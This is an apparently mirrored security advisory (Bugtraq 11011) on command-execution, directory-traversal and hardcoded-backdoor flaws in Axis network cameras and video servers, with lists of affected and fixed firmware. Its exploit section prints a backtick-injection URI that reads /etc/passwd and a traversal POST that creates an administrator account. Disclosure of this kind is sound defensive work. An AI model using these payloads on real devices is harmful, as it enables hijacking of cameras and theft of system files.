Axis Network Camera And Video Server Multiple Vulnerabilities

BID:11011

Info

Axis Network Camera And Video Server Multiple Vulnerabilities

Bugtraq ID: 11011
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Aug 23 2004 12:00AM
Updated: Feb 06 2007 08:08PM
Credit: bashis <[email protected]> disclosed these vulnerabilities.
Vulnerable: Axis Communications StorPoint CD
Axis Communications Serial Server 2490
Axis Communications Network DVR 2460
Axis Communications MPEG-2 Video Server 250S
Axis Communications 250S Video Server 3.0 3
Axis Communications 250S MPEG-2 Video Server 3.10
Axis Communications 2490 Serial Server 2.11.3
Axis Communications 2460 Network DVR 3.11
Axis Communications 2460 Network DVR 3.10
Axis Communications 2420 Video Server 2.34
Axis Communications 2420 Video Server 2.32
Axis Communications 2420 Network Camera 2.41
Axis Communications 2420 Network Camera 2.40
Axis Communications 2420 Network Camera 2.34
Axis Communications 2420 Network Camera 2.33
Axis Communications 2420 Network Camera 2.32
Axis Communications 2420 Network Camera 2.31
Axis Communications 2420 Network Camera 2.30
Axis Communications 2420 Network Camera 2.12
Axis Communications 2411 Video Server 3.13
Axis Communications 2411 Video Server 3.12
Axis Communications 2411 Video Server 3.12
Axis Communications 2401+ Video Server 3.13
Axis Communications 2401+ Video Server 3.12
Axis Communications 2401+ Video Server 3.12
Axis Communications 2401+ Blade Video Server 3.12
Axis Communications 2401 Video Server 2.34
Axis Communications 2401 Video Server 2.33
Axis Communications 2401 Video Server 2.32
Axis Communications 2401 Video Server 2.31
Axis Communications 2401 Video Server 2.30
Axis Communications 2401 Video Server 2.20
Axis Communications 2401 Video Server 1.15
Axis Communications 2401 Video Server 1.0 1
Axis Communications 2400+ Video Server 3.12
Axis Communications 2400+ Video Server 3.11
Axis Communications 2400+ Blade Video Server 3.12
Axis Communications 2400 Video Server 2.34
Axis Communications 2400 Video Server 2.33
Axis Communications 2400 Video Server 2.32
Axis Communications 2400 Video Server 2.31
Axis Communications 2400 Video Server 2.30
Axis Communications 2400 Video Server 2.20
Axis Communications 2400 Video Server 2.0
Axis Communications 2400 Video Server 1.15
Axis Communications 2400 Video Server 1.12
Axis Communications 2400 Video Server 1.11
Axis Communications 2400 Video Server 1.10
Axis Communications 2400 Video Server 1.0 2
Axis Communications 2400 Video Server 1.0 1
Axis Communications 230 MPEG-2 Video Server 3.11
Axis Communications 2130 PTZ Network Camera 2.40
Axis Communications 2130 PTZ Network Camera 2.34
Axis Communications 2130 PTZ Network Camera 2.32
Axis Communications 2130 PTZ Network Camera 2.31
Axis Communications 2130 PTZ Network Camera 2.30
Axis Communications 2120 Network Camera 2.41
Axis Communications 2120 Network Camera 2.40
Axis Communications 2120 Network Camera 2.34
Axis Communications 2120 Network Camera 2.32
Axis Communications 2120 Network Camera 2.31
Axis Communications 2120 Network Camera 2.30
Axis Communications 2120 Network Camera 2.12
Axis Communications 2110 Network Camera 2.41
Axis Communications 2110 Network Camera 2.40
Axis Communications 2110 Network Camera 2.34
Axis Communications 2110 Network Camera 2.32
Axis Communications 2110 Network Camera 2.31
Axis Communications 2110 Network Camera 2.30
Axis Communications 2110 Network Camera 2.12
Axis Communications 2100 Network Camera 2.41
Axis Communications 2100 Network Camera 2.40
Axis Communications 2100 Network Camera 2.34
Axis Communications 2100 Network Camera 2.33
Axis Communications 2100 Network Camera 2.32
Axis Communications 2100 Network Camera 2.31
Axis Communications 2100 Network Camera 2.30
Axis Communications 2100 Network Camera 2.12
Not Vulnerable: Axis Communications 250S MPEG-2 Video Server 3.20
Axis Communications 2460 Digital Video Recorder 3.13
Axis Communications 2420 Network Camera 2.42
Axis Communications 2411 Video Server 3.13
Axis Communications 2401+ Video Server 3.13
Axis Communications 2401+ Blade Video Server 3.13
Axis Communications 2401 Video Server 2.34.1
Axis Communications 2400+ Video Server 3.13
Axis Communications 2400+ Blade Video Server 3.13
Axis Communications 2400 Video Server 2.34.1
Axis Communications 230 MPEG-2 Video Server 3.20
Axis Communications 2130 Network Camera 2.42
Axis Communications 2120 Network Camera 2.42
Axis Communications 2110 Network Camera 2.42
Axis Communications 2100 Network Camera 2.42

Discussion

Axis Network Camera And Video Server Multiple Vulnerabilities

Multiple vulnerabilities are reported to reside in multiple Axis network video and camera servers:

1. A shell metacharacter command-execution vulnerability allows an anonymous user to download the contents of the '/etc/passwd' file on the device. Other commands are also likely to work, facilitating other attacks.

This issue is reported to affect:
- Axis 2100, 2110, 2120, 2420 network cameras with firmware versions 2.34 thru 2.40
- Axis 2130 network cameras
- Axis 2401 and 2401 video servers

2. A directory-traversal vulnerability in HTTP POST requests. This attack is demonstrated by an anonymous user calling protected administration scripts. This bypasses authentication checks and gives anonymous users remote adminitration of the devices.

This issue is reported to affect:
- Axis 2100, 2110, 2120, 2420 network cameras with firmware versions 2.12 thru 2.40
- Axis 2130 network cameras
- Axis 2401,and 2401 video servers

3. A hardcoded backdoor administrative-user issue allows remote attackers to administer affected devices. This likely cannot be disabled.

This issue is reported to affect:
- Axis StorePoint CD E100 CD-ROM Server with firmware version 5.30

Other products and versions of firmware are likely affected by one or more of these vulnerabilities.

Exploit / POC

Axis Network Camera And Video Server Multiple Vulnerabilities

Exploits are not required for these vulnerabilities. Examples have been provided:

A URI sufficient to exploit the first vulnerability:
http://www.example.com/axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60

Example contents of POST data sufficient to exploit the second vulnerability:
POST /cgi-bin/scripts/../../this_server/ServerManager.srv HTTP/1.0
Content-Length: 250
Pragma: no-cache

conf_Security_List=root%%3AADVO%%3A%%3Awh00t%%3AAD%%3A119104048048116%%3A&users=wh00t&username=wh00t&password1=wh00t&password2=wh00t&checkAdmin=on&checkDial=on&checkView=on&servermanager_return_page=%%2Fadmin%%2Fsec_users.shtml&servermanager_do=set_variables

Solution / Fix

Axis Network Camera And Video Server Multiple Vulnerabilities

Solution:
Axis Communications has released upgrades to deal with this issue. Please see the referenced Bugtraq message for more information.


Axis Communications 2401 Video Server 1.0 1

Axis Communications 2400 Video Server 1.0 1

Axis Communications 2400 Video Server 1.0 2

Axis Communications 2400 Video Server 1.10

Axis Communications 2400 Video Server 1.11

Axis Communications 2400 Video Server 1.12

Axis Communications 2400 Video Server 1.15

Axis Communications 2401 Video Server 1.15

Axis Communications 2400 Video Server 2.0

Axis Communications 2490 Serial Server 2.11.3

Axis Communications 2100 Network Camera 2.12

Axis Communications 2420 Network Camera 2.12

Axis Communications 2120 Network Camera 2.12

Axis Communications 2110 Network Camera 2.12

Axis Communications 2400 Video Server 2.20

Axis Communications 2401 Video Server 2.20

Axis Communications 2420 Network Camera 2.30

Axis Communications 2110 Network Camera 2.30

Axis Communications 2100 Network Camera 2.30

Axis Communications 2401 Video Server 2.30

Axis Communications 2400 Video Server 2.30

Axis Communications 2120 Network Camera 2.30

Axis Communications 2130 PTZ Network Camera 2.30

Axis Communications 2100 Network Camera 2.31

Axis Communications 2401 Video Server 2.31

Axis Communications 2120 Network Camera 2.31

Axis Communications 2130 PTZ Network Camera 2.31

Axis Communications 2420 Network Camera 2.31

Axis Communications 2400 Video Server 2.31

Axis Communications 2110 Network Camera 2.31

Axis Communications 2110 Network Camera 2.32

Axis Communications 2401 Video Server 2.32

Axis Communications 2120 Network Camera 2.32

Axis Communications 2400 Video Server 2.32

Axis Communications 2130 PTZ Network Camera 2.32

Axis Communications 2100 Network Camera 2.32

Axis Communications 2420 Network Camera 2.32

Axis Communications 2400 Video Server 2.33

Axis Communications 2401 Video Server 2.33

Axis Communications 2100 Network Camera 2.33

Axis Communications 2420 Network Camera 2.33

Axis Communications 2130 PTZ Network Camera 2.34

Axis Communications 2120 Network Camera 2.34

Axis Communications 2110 Network Camera 2.34

Axis Communications 2100 Network Camera 2.34

Axis Communications 2401 Video Server 2.34

Axis Communications 2400 Video Server 2.34

Axis Communications 2420 Network Camera 2.34

Axis Communications 2110 Network Camera 2.40

Axis Communications 2100 Network Camera 2.40

Axis Communications 2120 Network Camera 2.40

Axis Communications 2130 PTZ Network Camera 2.40

Axis Communications 2420 Network Camera 2.40

Axis Communications 2120 Network Camera 2.41

Axis Communications 2420 Network Camera 2.41

Axis Communications 2100 Network Camera 2.41

Axis Communications 2110 Network Camera 2.41

Axis Communications 250S MPEG-2 Video Server 3.10

Axis Communications 2400+ Video Server 3.11

Axis Communications 230 MPEG-2 Video Server 3.11

Axis Communications 2401+ Video Server 3.12

Axis Communications 2401+ Blade Video Server 3.12

Axis Communications 2400+ Blade Video Server 3.12

Axis Communications 2411 Video Server 3.12

Axis Communications 2400+ Video Server 3.12

References

Axis Network Camera And Video Server Multiple Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report